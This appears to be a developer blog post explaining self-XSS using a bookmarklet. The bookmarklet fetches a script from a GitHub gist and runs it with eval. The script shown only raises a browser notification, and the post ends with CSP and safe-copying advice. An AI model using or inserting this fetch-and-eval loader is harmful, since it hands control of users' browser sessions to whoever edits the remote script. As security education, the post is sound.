How self-xss work in bookmark.
On my previous article, I share on how to add javascript code in bookmark which later user can just click on it and browser will run it. And after published the article, I had another idea of writing this article. Before I share my findings, I would like to share with the audience what is the definition of Self-XSS
.
Self-XSS operates by tricking users into copying and pasting malicious content into their browsers' web developer console
Wikipedia
So Let's Continue on Our Example.
- First let setup our bookmark script. But before you copy the code, let me brief what the code does.
javascript: ((url) =>
fetch(url)
.then((response) => response.text())
.then((scriptInString) => eval(scriptInString))
/* .then(scriptInString => new Function(scriptInString)()) */
)(`https://gist.githubusercontent.com/AzrizHaziq/adcfdbf12c3b30b6523495e19f282b58/raw/a959157530b4c282aae0386fda1b3c3b1656bb7d/notify.js`);
First we wrap our code in IIFE. Which mean it will execute it right away. Also I used it because, I want to avoid naming a function. Hence, it will make shorter scripts.
Next, we use fetch to trigger http GET(pun intended) to our script. Once the http is resolve, we want to convert it to string. And finally, since our script is in the form of string, we can evaluate it with eval
or new Function
.
And the snippet code in github gist is exactly like below
// notify.js in gist github
// code copied from https://developer.mozilla.org/en-US/docs/Web/API/notification
// and was changed into iife
(() => {
// Let's check if the browser supports notifications
if (!("Notification" in window)) {
alert("This browser does not support desktop notification");
}
// Let's check whether notification permissions have already been granted
else if (Notification.permission === "granted") {
// If it's okay let's create a notification
var notification = new Notification("Hi there!");
}
// Otherwise, we need to ask the user for permission
else if (Notification.permission !== "denied") {
Notification.requestPermission().then(function (permission) {
// If the user accepts, let's create a notification
if (permission === "granted") {
var notification = new Notification("Hi there!");
}
});
}
// At last, if the user has denied notifications, and you
// want to be respectful there is no need to bother them any more.
})()
Once you save into bookmark it will look like this:
- Go to https://example.com.
- Just for the sake of this example, please
allow
notification. Since our script in gist will trigger notification. (For chrome, click the padlock icon in url bar and Allow notification) - Click the bookmark that you just create.
- If you didn't see the notification then that's mean, I can panic 🤣🤣. If yes, well done you follow the steps correctly 😀.
- You can block notification, and delete the bookmark too.
Now of course this example does not have big impact to you, since my objective is to make it interactive. But, I would like to highlight one thing here.
Imagine that if let say after a few month or years after I published this article, I can just silently edit my
notify.js
to any nasty code. Anyone who click the bookmark usually would assume it just the same old script and will fall into my trap. Pretty slick right?
There is also another scenario I want to share. In future, we will have read & write permission in browser. What will happen if you just blindly run a script that you copy and paste? That script may hog your file-size, plant a malware, read sensitive file, and it could be anything else.
As Developer, How Do You Prevent This
This example work because at time of me writing this article https://example.com doesn't have CSP protection. CSP is big topic which I'm not an expert. It has a lot of configs and in case this is your first time hearing it, let me try to give a tldr(too long didn't read).
Explicitly define what kind of tasks/scrips/images/domain/styles/things that can run/load in your document. (psst: I might be wrong, please correct me 🙂)
For example:
- Let say I'm on https://example.com
- I also specify images to load only from https://unsplash.com.
- And if there is a request to different domain then it will trigger CSP error in Devtools.
<img src="https://example.com/static/logo.png">
<img src="https://unsplash.com/static/my-image.png">
<img src="https://s3.aws.com/bucket...">
// please check the MDN doc as it is more detail example
Just in case if you click the bookmark while you are currently in twitter.com
it will not trigger the notification since twitter.com
already have CSP layer. And if you want to see how they implement it, you can go to network tool and look at the first downloaded document, then look for content-security-policy
in response header. You will be surprise to see how long it is.
In Conclusion.
- Please be aware copying and pasting any code from online. Especially obfuscated code.
- Please take you time understand the code. Any term or keyword that you never heard of it just search in MDN or google.
Originally, the idea for this article is coming from DebugCSS. After I knew how they implement it and ensure that every user who click it, will always run the latest version, I just write a draft for this article. For you information, while they are using <style>
and inject to dom, mine was using http get and eval the script.
Image Source: firmbee